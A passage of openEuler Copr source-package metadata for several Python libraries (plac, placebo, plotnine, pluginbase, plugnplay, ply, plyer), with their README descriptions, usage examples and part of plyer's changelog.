  @plac.opt('n_iter', "Number of training iterations", type=int)
  @plac.flg('debug', "Enable debug mode")
  def main(model, output_dir='.', n_iter=100, debug=False):
      """A script for machine learning"""
      pass

  if __name__ == '__main__':
      plac.call(main)
  ```

  Running the script with `$ python example.py -h` will give you the
  following help message: :

  ```
  usage: example.py [-h] [-o .] [-n 100] [-d] {A,B,C}

  A script for machine learning

  positional arguments:
    {A,B,C}               Model name

  optional arguments:
    -h, --help            show this help message and exit
    -o ., --output-dir .  Optional output directory
    -n 100, --n-iter 100  Number of training iterations
    -d, --debug           Enable debug mode
  ```



  The following decorator reference helps you recall what parameters are
  valid for each decorator type:

  ```python

  def pos(arg, help=None, type=None, choices=None, metavar=None):


  def opt(arg, help=None, type=None, abbrev=None, choices=None, metavar=None):


  def flg(arg, help=None, abbrev=None):
  ```

  Notably, the main functionality of `plac` is implemented in a single
  module called `plac_core.py` that, if necessary, may be included and
  distributed with your source code thus reducing external dependencies in
  your code.



  Python syntax, or your variable naming may impose constraints on what
  words may be used as parameters. To circumvent that limitation append a
  trailing underscore to the name. `plac` will strip that underscore from
  the command line parameter name:

  ```python
  import plac

  @plac.flg('list_')  # avoid clash with builtin
  @plac.flg('yield_')  # avoid clash with keyword
  @plac.opt('sys_')  # avoid clash with a very common name
  def main(list_, yield_=False, sys_=100):
      print(list_)
      print(yield_)
      print(sys_)

  if __name__ == '__main__':
      plac.call(main)
  ```

  produces the usage:

  ```
  usage: example13.py [-h] [-l] [-y] [-s 100]

  optional arguments:
    -h, --help         show this help message and exit
    -l, --list
    -y, --yield        [False]
    -s 100, --sys 100  [100]
  ```




  Your `plac` enabled program may accept multiple positional arguments and even additional key=value pairs:

  ```python
  import plac

  @plac.pos('args', help="words")
  @plac.opt('kwds', help="key=value", )
  def main(*args, **kwds):
      print(args)
      print(kwds)

  if __name__ == '__main__':
      plac.call(main)
  ```

  the usage will be:

  ```
  usage: example15.py [-h] [args ...] [kwds ...]

  positional arguments:
    args        words
    kwds        key=value

  optional arguments:
    -h, --help  show this help message and exit
  ```

  when running it as:

      python example15.py A B x=10 y=20

  the program prints:

      ('A', 'B')
      {'x': '10', 'y': '20'}



  In addition, plac can do a lot more, up to the creation of
  domain-specific languages(!). See the full documentation for more
  details.

  -   <https://plac.readthedocs.io/en/latest/>



  If you wish to install the package do

      pip install plac

  If you prefer to install the full distribution from source, including
  the documentation, download the
  [tarball](https://pypi.org/project/plac/#files), unpack it and run

      python setup.py install



  Run

      python doc/test_plac.py

  You will see several apparent errors, but this is right, since the tests
  are checking for several error conditions. The important thing is that
  you get at the a line like

  `Executed XX tests OK`



  -   <https://github.com/ialbert/plac>

  Author: Michele Simionato, <michele.simionato@gmail.com>

  Maintainer: Istvan Albert, <istvan.albert@gmail.com>



  -   <https://github.com/ialbert/plac/issues>



  BSD License


pkgId: 2e1334b57ecd5ab437cb46b5a0e89accafecb76f0741dfa9786819f2d7431b15
name: python-placebo
arch: src
version: 0.10.0
epoch: 0
release: 1
summary: Make boto3 calls that look real but have no effect
url: https://github.com/garnaat/placebo
rpm_license: Apache License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2e9279ff-6981-42ba-b26e-06833e663ba5
location_href: 00011354-python-placebo/python-placebo-0.10.0-1.src.rpm
checksum_type: sha256
description:
  [![codecov](https://codecov.io/gh/garnaat/placebo/branch/develop/graph/badge.svg?token=ukrsVmWxwv)](https://codecov.io/gh/garnaat/placebo)
  Placebo allows you to mock boto3 calls that look just like normal calls but
  actually have no effect at all.  It does this by allowing you to record a set
  of calls and save them to a data file and then replay those calls later
  (e.g. in a unit test) without ever hitting the AWS endpoints.


pkgId: a3c2082846f69975ebcc8ee43f590d14c79c4d1ffcfae41bd43678ec1f9ca4ac
name: python-player
arch: src
version: 0.6.1
epoch: 0
release: 1
summary: Pyramid view layers
url: https://github.com/fafhrd91/player/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7f6d7575-cefb-43d0-a651-426e27f52ae2
location_href: 00004564-python-player/python-player-0.6.1-1.src.rpm
checksum_type: sha256
description:
  player allows to address templates with two parameters,
  category and name. Also it is possible to use set of directories
  for each layer, in that case `player` searches templates
  in each directory. It allows to override templates without changing
  code. For example form library can define layer `field`::
       >> ls ./fields/
  In your application you can override any of this template by defining
  new layer for `field` category::
       >> ls ./myproject/fields/
  Usually top level directory is a category and file in directory is template.
  For example 'form:view.lt'::
      `form` - layer category
      `view` - template name
      `.lt`  - custom pyramid renderer factory
  Layer can to be defined with `add_layer` config directive:
      >> config = Configurator()
  `form` directory can contain any template:
      >> ./form/
  It is possible to use any of this templates as pyramid renderer path:
      >> config.add_view(
  or :
      >> config.add_view(
  It is possible to run python code before rendering template.
  There are `add_tmpl_filter` directive and `player.tmpl_filter`
  decorator:
      >> def form_actions(context, request):
      >> config.add_tmpl_filter('form:actions', form_action, name='custom')
  or:
      >> import player
      >> @player.tmpl_filter('form:actions', name='custom')
  `form_actions` function gets call just before rendering template.
  Layer has to be defined with `add_layer` directve before registering
  template filter function.


pkgId: 1b5e08be421d03694da0fdb1a4ceac96acc6dd238f83c8a6c8c5fdfaa5abd7ef
name: python-plotnine
arch: src
version: 0.10.1
epoch: 0
release: 1
summary: A grammar of graphics for python
url: https://plotnine.readthedocs.io/en/stable
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6e94c027-4131-4895-a9db-87630a1eca96
location_href: 00010830-python-plotnine/python-plotnine-0.10.1-1.src.rpm
checksum_type: sha256
description:
  Plotnine has tests that generate images which are compared to baseline images known
  to be correct. To generate images that are consistent across all systems you have
  to install matplotlib from source. You can do that with ``pip`` using the command.
  ```console
  $ pip install matplotlib --no-binary matplotlib
  ```
  Otherwise there may be small differences in the text rendering that throw off the
  image comparisons.


pkgId: 6dda2945238be18c362d6570c523b7d1384e0076818bb9e579703a6e40c64d3d
name: python-pluginbase
arch: src
version: 1.0.1
epoch: 0
release: 1
url: http://github.com/mitsuhiko/pluginbase
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-17f59f5e-117a-4aff-9cd6-a0bf15945dea
location_href: 00004566-python-pluginbase/python-pluginbase-1.0.1-1.src.rpm
checksum_type: sha256
summary:
  PluginBase is a module for Python that enables the development of flexible plugin systems in Python.

description:
  PluginBase is a module for Python that enables the development of flexible plugin systems in Python.
  Step 1:
     from pluginbase import PluginBase
     plugin_base = PluginBase(package='yourapplication.plugins')
  Step 2:
     plugin_source = plugin_base.make_plugin_source(
         searchpath=['./path/to/plugins', './path/to/more/plugins'])
  Step 3:
     with plugin_source:
         from yourapplication.plugins import my_plugin
     my_plugin.do_something_cool()
  Or alternatively:
     my_plugin = plugin_source.load_plugin('my_plugin')
     my_plugin.do_something_cool()


pkgId: f881a0bcc54dd3c082eae20a2afc78ebccd2db5fa1bae80b76bcdf5575f85bee
name: python-plugnplay
arch: src
version: 0.5.4
epoch: 0
release: 1
summary: A Generic plug-in system for python
url: http://github.com/daltonmatos/plugnplay
rpm_license: GPLv2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c30c0bee-6c0d-4469-a5ab-e475b19bd50c
location_href: 00004568-python-plugnplay/python-plugnplay-0.5.4-1.src.rpm
checksum_type: sha256
description:
  Plug n' Play
  ************

  Plug n' PLay (PnP) is a Generic plug-in system inspired by Trac's (http://trac.edgewall.org)
  internal component management. With PnP you can turn any program into a pluggable software very easily.

  You just have to define the Interfaces and let others implement them. When your code is running
  you can dynamically retrieve who are the classes that implement a certain Interface, and call
  the specific methods.

  A simple example
  ****************

  Think this way: You have e very simple program that just copy files around.

  Say you want to check if the copy was OK by calculating the MD5 hash of the
  two files (the original and the copy). You can do this implementing the MD5 check
  inside your main code, that's OK too, but when you need to add another check
  (e.g. calculate the SHA-1 of the files) you will have to modify your code so
  it can call two methods, the MD5 checker and the SHA-1 checker.

  With PnP you write only the main piece of the program, the part that does only the copying,
  and the hash checkers you can implement whenever you want, *without* any modification
  to the main code.

  PnP is roughly a implementation of the Observer pattern (http://en.wikipedia.org/wiki/Observer_pattern).

  The code for this example
  *************************

  Ok, too much talk, now some code. A pseudo-code to the example above would be:

  ::

       class CopyListener(Interface):
          def copy_finished(self, original_file, new_file):
            pass



  The main code would be:

  ::

     PnP.load_plugins("/some/path/with/python/files") # egg files in the future?.
     copy_file(file1, file2)

     
     
     copy_listeners = CopyListener.implementors()

     
     for listener in copy_listeners:
       listener.copy_finished(file1, file2)


  And an example of one such observer would be:

  ::

     from myproject.interfaces import CopyListener

     class MD5Check(Plugin):
       implements = [CopyListener,]

       def copy_finished(self, file1, file2):
          md5_1 = hash.md5(file1.read()).hexdigest()
          md5_2 = hash.md5(file2.read()).hexdigest()
          if md5_1 is not md5_2:
            


  Conclusion
  **********

  Did you like this project? Very nice, so help me write it! Fork the repo and
  send me some pull requests! Or talk to me directly if you have some great ideas to implement!


  Thanks,

  Dalton Barreto


pkgId: 159f90001d88f04f8067c51abed59a81bc42b1261facd7eabfe7780541e4c362
name: python-ply
arch: src
version: 3.11
epoch: 0
release: 1
summary: Python Lex & Yacc
url: http://www.dabeaz.com/ply/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fddd3da3-b8b7-4d33-b0e5-fae8a2c99ca7
location_href: 00004570-python-ply/python-ply-3.11-1.src.rpm
checksum_type: sha256
description:
  PLY is yet another implementation of lex and yacc for Python. Some notable
  features include the fact that its implemented entirely in Python and it
  uses LALR(1) parsing which is efficient and well suited for larger grammars.

  PLY provides most of the standard lex/yacc features including support for empty
  productions, precedence rules, error recovery, and support for ambiguous grammars.

  PLY is extremely easy to use and provides very extensive error checking.
  It is compatible with both Python 2 and Python 3.


pkgId: 7278257a30f739c5a396ce11466e0eccc81422662dd427cc2026e4874b948b5b
name: python-plyer
arch: src
version: 2.1.0
epoch: 0
release: 1
summary: Platform-independent wrapper for platform-dependent APIs
url: https://plyer.readthedocs.org/en/latest/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9f4134e3-5cb6-45d0-a6c7-8e7dee7475bc
location_href: 00013876-python-plyer/python-plyer-2.1.0-1.src.rpm
checksum_type: sha256
description:
  Plyer is a platform-independent api to use features commonly found on various
  platforms, notably mobile ones, in Python.

  [![coverage](https://coveralls.io/repos/kivy/plyer/badge.svg?branch=master)](https://coveralls.io/r/kivy/plyer?branch=master)
  [![Backers on Open Collective](https://opencollective.com/kivy/backers/badge.svg)](#backers)
  [![Sponsors on Open Collective](https://opencollective.com/kivy/sponsors/badge.svg)](#sponsors)
  ![Continuous Integration with Ubuntu](https://github.com/kivy/plyer/workflows/Continuous%20Integration%20with%20Ubuntu/badge.svg)
  ![Continuous Integration with OSX](https://github.com/kivy/plyer/workflows/Continuous%20Integration%20with%20OSX/badge.svg)
  ![Continuous Integration with Windows](https://github.com/kivy/plyer/workflows/Continuous%20Integration%20with%20Windows/badge.svg)
  ![Deploy to PyPI](https://github.com/kivy/plyer/workflows/Deploy%20to%20PyPI/badge.svg)




  Plyer tries not to reinvent the wheel, and will call for external libraries to
  implement the api in the easiest way, depending on the current platform.

  - On Android(python-for-android), pyjnius is used
  - On iOS(kivy-ios), pyobjus is used
  - On windows/mac/linux, commonly found libraries and programs will be used




  | Platform                       | Android | iOS | Windows | OS X | Linux |
  | ------------------------------ | ------- | --- | ------- | ---- | ----- |
  | Accelerometer                  | ✔       | ✔   |         | ✔    | ✔     |
  | Audio recording                | ✔       |     | ✔       | ✔    |       |
  | Barometer                      | ✔       | ✔   |         |      |       |
  | Battery                        | ✔       | ✔   | ✔       | ✔    | ✔     |
  | Bluetooth                      | ✔       |     |         | ✔    |       |
  | Brightness                     | ✔       | ✔   |         |      | ✔     |
  | Call                           | ✔       | ✔   |         |      |       |
  | Camera (taking picture)        | ✔       | ✔   |         |      |       |
  | Compass                        | ✔       | ✔   |         |      |       |
  | CPU count                      |         |     | ✔       | ✔    | ✔     |
  | Devicename                     | ✔       |     | ✔       | ✔    | ✔     |
  | Email (open mail client)       | ✔       | ✔   | ✔       | ✔    | ✔     |
  | Flash                          | ✔       | ✔   |         |      |       |
  | GPS                            | ✔       | ✔   |         |      |       |
  | Gravity                        | ✔       | ✔   |         |      |       |
  | Gyroscope                      | ✔       | ✔   |         |      |       |
  | Humidity                       | ✔       |     |         |      |       |
  | IR Blaster                     | ✔       |     |         |      |       |
  | Keystore                       | ✔       | ✔   | ✔       | ✔    | ✔     |
  | Light                          | ✔       |     |         |      |       |
  | Native file chooser            | ✔       | ✔   | ✔       | ✔    | ✔     |
  | Notifications                  | ✔       |     | ✔       | ✔    | ✔     |
  | Orientation                    | ✔       |     |         |      | ✔     |
  | Proximity                      | ✔       |     |         |      |       |
  | Screenshot                     |         |     | ✔       | ✔    | ✔     |
  | SMS (send messages)            | ✔       | ✔   |         |      |       |
  | Spatial Orientation            | ✔       | ✔   |         |      |       |
  | Speech to text                 | ✔       |     |         |      |       |
  | Storage Path                   | ✔       | ✔   | ✔       | ✔    | ✔     |
  | Temperature                    | ✔       |     |         |      |       |
  | Text to speech                 | ✔       | ✔   | ✔       | ✔    | ✔     |
  | Unique ID                      | ✔       | ✔   | ✔       | ✔    | ✔     |
  | Vibrator                       | ✔       | ✔   |         |      |       |
  | Wifi                           |         |     | ✔       | ✔    | ✔     |




  To use on desktop: `pip install plyer`
  To use in python-for-android/kivy-ios: add `plyer` to your requirements if needed.



  If you need assistance, you can ask for help on our mailing list:

  * User Group : https://groups.google.com/group/kivy-users
  * Email      : kivy-users@googlegroups.com

  Discord channel:

  * Server     : https://chat.kivy.org
  * Channel    : #dev




  We love pull requests and discussing novel ideas. Check out our
  [contribution guide](http://kivy.org/docs/contribute.html) and
  feel free to improve Plyer.

  The following mailing list and IRC channel are used exclusively for
  discussions about developing the Kivy framework and its sister projects:

  * Dev Group : https://groups.google.com/group/kivy-dev
  * Email     : kivy-dev@googlegroups.com

  IRC channel:

  * Server  : irc.freenode.net
  * Port    : 6667, 6697 (SSL only)
  * Channel : #kivy-dev




  Plyer is released under the terms of the MIT License. Please refer to the
  LICENSE file.



  This project exists thanks to all the people who contribute. [[Contribute](http://kivy.org/docs/contribute.html)].

  <a href="https://github.com/kivy/plyer/graphs/contributors"><img src="https://contrib.rocks/image?repo=kivy/plyer"/></a>



  Thank you to all our backers! 🙏 [[Become a backer](https://opencollective.com/kivy#backer)]

  <a href="https://opencollective.com/kivy#backers" target="_blank"><img src="https://opencollective.com/kivy/backers.svg?width=890"></a>




  Support this project by becoming a sponsor. Your logo will show up here with a link to your website. [[Become a sponsor](https://opencollective.com/kivy#sponsor)]

  <a href="https://opencollective.com/kivy/sponsor/0/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/0/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/1/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/1/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/2/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/2/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/3/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/3/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/4/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/4/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/5/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/5/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/6/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/6/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/7/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/7/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/8/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/8/avatar.svg"></a>
  <a href="https://opencollective.com/kivy/sponsor/9/website" target="_blank"><img src="https://opencollective.com/kivy/sponsor/9/avatar.svg"></a>






  [Full Changelog](https://github.com/kivy/plyer/compare/2.0.0...2.1.0)

  **Implemented enhancements:**

  - Use xdg-desktop-portal for Notification inside Flatpak [\#680](https://github.com/kivy/plyer/pull/680) ([JakobDev](https://github.com/JakobDev))

  **Closed issues:**

  - Exception is thrown on try to play recorded audio clip [\#713](https://github.com/kivy/plyer/issues/713)
  - iOS: filechooser - multiple files selection is not working [\#707](https://github.com/kivy/plyer/issues/707)
  - Speech to text is not working with api 30 or more [\#693](https://github.com/kivy/plyer/issues/693)
  - Traceback \(most recent call last\):
     File "jnius/jnius\_proxy.pxi", line 50, in jnius.jnius.PythonJavaClass.invoke
     File "jnius/jnius\_proxy.pxi", line 74, in jnius.jnius.PythonJavaClass.\_invoke
   NotImplementedError: The method \('onLocationChanged', \('V', \('Ljava/util/List;',\)\)\) is not implemented [\#687](https://github.com/kivy/plyer/issues/687)
  - Notify on Windows but without archiving notifications [\#684](https://github.com/kivy/plyer/issues/684)
  - Notification icon as base64 instead of path [\#679](https://github.com/kivy/plyer/issues/679)
  - plyer's last release was ~2 years ago, the number of open PRs is absurd, and the last meaningful commit was months ago [\#674](https://github.com/kivy/plyer/issues/674)
  - iOS Filechooser that picks all document types \(UIDocumentPickerViewController\) [\#673](https://github.com/kivy/plyer/issues/673)
  - Python dbus error on Linux when sending notification [\#658](https://github.com/kivy/plyer/issues/658)
  - Is that project dead? [\#650](https://github.com/kivy/plyer/issues/650)
  - Notification for android not working \[ Drawable.icon \] [\#647](https://github.com/kivy/plyer/issues/647)
  - audio don't work on android [\#644](https://github.com/kivy/plyer/issues/644)
  - Unittests are failing on new clone [\#637](https://github.com/kivy/plyer/issues/637)
  - Proposing a PR to fix a few small typos [\#622](https://github.com/kivy/plyer/issues/622)
  - Remove python2 mentions from setup.py [\#608](https://github.com/kivy/plyer/issues/608)
  - vibrator on android 10 java.lang.SecurityException [\#606](https://github.com/kivy/plyer/issues/606)
  - How to change prompt input to upper or lower case in JS? [\#603](https://github.com/kivy/plyer/issues/603)
  - Does this repo is maintained? [\#592](https://github.com/kivy/plyer/issues/592)
  - Plyer notification not working on android [\#591](https://github.com/kivy/plyer/issues/591)
  - Feature Request: Add Intent to Android Gallery\(for Pictures\) [\#588](https://github.com/kivy/plyer/issues/588)
  - plyer.filechooser.save\_file doesn't work on macOS X Catalina [\#578](https://github.com/kivy/plyer/issues/578)
  - macOS notification NSUserNotificationCenter is deprecated + missing Info.plist [\#449](https://github.com/kivy/plyer/issues/449)

  **Merged pull requests:**

  - action-gh-release now uses `github.token` [\#724](https://github.com/kivy/plyer/pull/724) ([misl6](https://github.com/misl6))
  - Bump version to 2.1.0 for release [\#723](https://github.com/kivy/plyer/pull/723) ([misl6](https://github.com/misl6))
  - Bump action-gh-release to a newer version [\#721](https://github.com/kivy/plyer/pull/721) ([misl6](https://github.com/misl6))
  - Update supported Python versions [\#720](https://github.com/kivy/plyer/pull/720) ([misl6](https://github.com/misl6))
  - Fixes some E275. + other minor PEP8 fixes [\#711](https://github.com/kivy/plyer/pull/711) ([misl6](https://github.com/misl6))
  - Document linux support for orientation [\#709](https://github.com/kivy/plyer/pull/709) ([rshah713](https://github.com/rshah713))
  - Document supported platforms for humidity [\#704](https://github.com/kivy/plyer/pull/704) ([rshah713](https://github.com/rshah713))
  - Keyword should only hold name of license [\#701](https://github.com/kivy/plyer/pull/701) ([rshah713](https://github.com/rshah713))
  - Document supported platforms in native filechooser [\#700](https://github.com/kivy/plyer/pull/700) ([rshah713](https://github.com/rshah713))
  - Fix Keystore comment to point at correct class [\#697](https://github.com/kivy/plyer/pull/697) ([rshah713](https://github.com/rshah713))
  - Add missing platform for barometer [\#695](https://github.com/kivy/plyer/pull/695) ([rshah713](https://github.com/rshah713))
  - Add missing platforms in audio [\#694](https://github.com/kivy/plyer/pull/694) ([rshah713](https://github.com/rshah713))
  - Fixes a failing test for notification [\#692](https://github.com/kivy/plyer/pull/692) ([misl6](https://github.com/misl6))
  - Fixes style check [\#691](https://github.com/kivy/plyer/pull/691) ([misl6](https://github.com/misl6))
  - Clear documentation for Processors [\#689](https://github.com/kivy/plyer/pull/689) ([rshah713](https://github.com/rshah713))
  - Create clear documentation for Keystore [\#688](https://github.com/kivy/plyer/pull/688) ([rshah713](https://github.com/rshah713))
  - Added tick in ios native file chooser row [\#685](https://github.com/kivy/plyer/pull/685) ([Neizvestnyj](https://github.com/Neizvestnyj))
  - :zap: Fix pep8 violations [\#678](https://github.com/kivy/plyer/pull/678) ([Zen-CODE](https://github.com/Zen-CODE))
  - :hammer: Fix pep 8 failure for CICD [\#677](https://github.com/kivy/plyer/pull/677) ([Zen-CODE](https://github.com/Zen-CODE))
  - fix some errors in readme file [\#676](https://github.com/kivy/plyer/pull/676) ([AdamMusa](https://github.com/AdamMusa))
  - android 11+ compatibility Documents folder [\#672](https://github.com/kivy/plyer/pull/672) ([moonpyx](https://github.com/moonpyx))
  - Use sys.getandroidapilevel for more robust Android detection [\#670](https://github.com/kivy/plyer/pull/670) ([rdb](https://github.com/rdb))
  - More robust way to get application icon on Android for notification [\#669](https://github.com/kivy/plyer/pull/669) ([rdb](https://github.com/rdb))
  - Added the ability to track the closure of the file manager without selecting content [\#667](https://github.com/kivy/plyer/pull/667) ([Neizvestnyj](https://github.com/Neizvestnyj))
  - Fix bug, when user canceled filechooser, `on_selection` does not dispatched [\#666](https://github.com/kivy/plyer/pull/666) ([Neizvestnyj](https://github.com/Neizvestnyj))
  - Bigger buffer, allows large selection [\#655](https://github.com/kivy/plyer/pull/655) ([akshayaurora](https://github.com/akshayaurora))
  - fix: fix filechooser save dialog for the KDE [\#652](https://github.com/kivy/plyer/pull/652) ([psyrykh](https://github.com/psyrykh))
  - Change R$drawable to R$mipmap in notification.py for android platform [\#648](https://github.com/kivy/plyer/pull/648) ([masterjoseph914](https://github.com/masterjoseph914))
  - linux/storagepath: fixup a host of issues [\#646](https://github.com/kivy/plyer/pull/646) ([rski](https://github.com/rski))
  - Change `PythonActivity` java class [\#642](https://github.com/kivy/plyer/pull/642) ([Neizvestnyj](https://github.com/Neizvestnyj))
  - Enabled transient notifications on Linux [\#639](https://github.com/kivy/plyer/pull/639) ([olumidesan](https://github.com/olumidesan))
  - updated-device-name-implementation-for-backward-compatibility [\#634](https://github.com/kivy/plyer/pull/634) ([ljnath](https://github.com/ljnath))
  - Added contributors in readme.md file [\#633](https://github.com/kivy/plyer/pull/633) ([ljnath](https://github.com/ljnath))
  - Fixed pep8 errors [\#632](https://github.com/kivy/plyer/pull/632) ([ljnath](https://github.com/ljnath))
  - Removed python2.6|7 reference and added reference for python 3.6|7|8  [\#631](https://github.com/kivy/plyer/pull/631) ([ljnath](https://github.com/ljnath))
  - Support to get android device name or hostname for linux and windows [\#630](https://github.com/kivy/plyer/pull/630) ([ljnath](https://github.com/ljnath))
  - \#611 add filters for file chooser on android [\#624](https://github.com/kivy/plyer/pull/624) ([akshayaurora](https://github.com/akshayaurora))
  - docs: fix a few simple typos [\#623](https://github.com/kivy/plyer/pull/623) ([akshayaurora](https://github.com/akshayaurora))
  - Add check for Trinity Desktop Environment [\#620](https://github.com/kivy/plyer/pull/620) ([akshayaurora](https://github.com/akshayaurora))
  - FileChooser: MacOS: Use objectAtIndex\_ to get multiple items [\#618](https://github.com/kivy/plyer/pull/618) ([akshayaurora](https://github.com/akshayaurora))
  - add installation section in README.md [\#563](https://github.com/kivy/plyer/pull/563) ([tshirtman](https://github.com/tshirtman))



  [Full Changelog](https://github.com/kivy/plyer/compare/1.4.3...2.0.0)

  **Closed issues:**

  - Macox notification - AttributeError: 'NoneType' object has no attribute 'setDelegate\_' [\#586](https://github.com/kivy/plyer/issues/586)
  - Can't display notifications with Plyer [\#582](https://github.com/kivy/plyer/issues/582)
  - Unable to set app orientation [\#579](https://github.com/kivy/plyer/issues/579)
  - Does plyer allow you to open another app? [\#577](https://github.com/kivy/plyer/issues/577)
  - Calling notification.notify\(\) raises "No Usable Implementation Found!" Error on Android [\#575](https://github.com/kivy/plyer/issues/575)
  - tts is not working [\#572](https://github.com/kivy/plyer/issues/572)
  - bluetooth for Android [\#571](https://github.com/kivy/plyer/issues/571)
  - raise NotImplementedError\(\)  NotImplementedError when I use tts  [\#567](https://github.com/kivy/plyer/issues/567)
  - Filter variable may be uninitialized in MacOSX filechooser [\#566](https://github.com/kivy/plyer/issues/566)
  - Plyer camera cannot save image to the IOS phone [\#561](https://github.com/kivy/plyer/issues/561)
  - How to turn on gps  ?? [\#556](https://github.com/kivy/plyer/issues/556)
  - How to disable mock location \(fake gps\) in kivy  [\#555](https://github.com/kivy/plyer/issues/555)
  - Release notes for v 1.4.3? [\#550](https://github.com/kivy/plyer/issues/550)
  - battery.status isCharging always shows false in WINDOWS [\#541](https://github.com/kivy/plyer/issues/541)
  - Filechooser on mac: using path, crashes python [\#524](https://github.com/kivy/plyer/issues/524)
  - Android Filechooser not working [\#512](https://github.com/kivy/plyer/issues/512)

  **Merged pull requests:**

  - Some APIs are only available for open panels. [\#590](https://github.com/kivy/plyer/pull/590) ([matham](https://github.com/matham))
  - Fix uninitialized variable in MacOSX filechooser. [\#568](https://github.com/kivy/plyer/pull/568) ([Mulugruntz](https://github.com/Mulugruntz))
  - Fixing crash on MacOSX filechooser [\#565](https://github.com/kivy/plyer/pull/565) ([Mulugruntz](https://github.com/Mulugruntz))
  - Uses Python 3 syntax [\#554](https://github.com/kivy/plyer/pull/554) ([AndreMiras](https://github.com/AndreMiras))
  - Feature/drop python2 [\#553](https://github.com/kivy/plyer/pull/553) ([AndreMiras](https://github.com/AndreMiras))
  - Fixes linter errors [\#552](https://github.com/kivy/plyer/pull/552) ([AndreMiras](https://github.com/AndreMiras))
  - Remove unused linters [\#548](https://github.com/kivy/plyer/pull/548) ([ghost](https://github.com/ghost))
  - Fix linter warnings [\#547](https://github.com/kivy/plyer/pull/547) ([ghost](https://github.com/ghost))
  - Modification of Status isCharging in windows [\#546](https://github.com/kivy/plyer/pull/546) ([irm19](https://github.com/irm19))



  [Full Changelog](https://github.com/kivy/plyer/compare/1.4.2...1.4.3)

  **Closed issues:**

  - IOS - GPS : 'IosGPS' object has no attribute '\_location\_manager' [\#538](https://github.com/kivy/plyer/issues/538)
  - Android FileChooser crashes when back button pressed [\#534](https://github.com/kivy/plyer/issues/534)
  - Notification not working on android [\#533](https://github.com/kivy/plyer/issues/533)
  - FileChooser on Android: "on selection" fires multiple times. [\#530](https://github.com/kivy/plyer/issues/530)
  - KIVY cannot access the android camera.. [\#521](https://github.com/kivy/plyer/issues/521)
  - No notification icons on Linux \(Gnome\) [\#514](https://github.com/kivy/plyer/issues/514)
  - Vibrator is not working on Android [\#509](https://github.com/kivy/plyer/issues/509)
  - notification.notify crashes Android Pie devices [\#504](https://github.com/kivy/plyer/issues/504)
  - Vibrate revision in api 26 [\#501](https://github.com/kivy/plyer/issues/501)

  **Merged pull requests:**

  - Fix linter warnings in examples/gps/main.py [\#545](https://github.com/kivy/plyer/pull/545) ([ghost](https://github.com/ghost))
  - Switch to GitHub actions [\#544](https://github.com/kivy/plyer/pull/544) ([ghost](https://github.com/ghost))
  - Fix crash in Android Notification \(SDK\_INT \>= 26\) [\#543](https://github.com/kivy/plyer/pull/543) ([ghost](https://github.com/ghost))
  - Add native iOS FileBrowser [\#542](https://github.com/kivy/plyer/pull/542) ([Zen-CODE](https://github.com/Zen-CODE))
  - Prevent crash when cancelling filechooser [\#536](https://github.com/kivy/plyer/pull/536) ([Zen-CODE](https://github.com/Zen-CODE))
  - Make win filechooser use modern windows browser and fix small issues. [\#535](https://github.com/kivy/plyer/pull/535) ([matham](https://github.com/matham))
  - Prevent re-binding of callback on each call [\#532](https://github.com/kivy/plyer/pull/532) ([Zen-CODE](https://github.com/Zen-CODE))
  - Add permission request to plyer GPS example [\#529](https://github.com/kivy/plyer/pull/529) ([Zen-CODE](https://github.com/Zen-CODE))
  - Handle absence of LinuxFileChooser backend [\#526](https://github.com/kivy/plyer/pull/526) ([Cheaterman](https://github.com/Cheaterman))
  - Fix vibrator, which was not working on Android devices. [\#523](https://github.com/kivy/plyer/pull/523) ([ghost](https://github.com/ghost))
  - Added logic to support the `on_status` method of the gps facade for i… [\#519](https://github.com/kivy/plyer/pull/519) ([Dirk-Sandberg](https://github.com/Dirk-Sandberg))
  - Fix default audio file\_path assignment error, file\_path change for Py3 [\#518](https://github.com/kivy/plyer/pull/518) ([Nephyx](https://github.com/Nephyx))
  - Add Windows applications storage path [\#517](https://github.com/kivy/plyer/pull/517) ([magnusvmt](https://github.com/magnusvmt))
  - fix typo in supported API list [\#516](https://github.com/kivy/plyer/pull/516) ([holdbar](https://github.com/holdbar))
  - fix the issue that tts.speak\(\) crashes on android [\#511](https://github.com/kivy/plyer/pull/511) ([Chao-Jen](https://github.com/Chao-Jen))
  - Addresses plyer issue \#240. [\#502](https://github.com/kivy/plyer/pull/502) ([Dirk-Sandberg](https://github.com/Dirk-Sandberg))
  - Update README.md to add opencollective [\#499](https://github.com/kivy/plyer/pull/499) ([tito](https://github.com/tito))
  - Bump to 1.4.0 for release [\#496](https://github.com/kivy/plyer/pull/496) ([KeyWeeUsr](https://github.com/KeyWeeUsr))



  [Full Changelog](https://github.com/kivy/plyer/compare/1.4.1...1.4.2)



  [Full Changelog](https://github.com/kivy/plyer/compare/1.4.0...1.4.1)

  **Closed issues:**

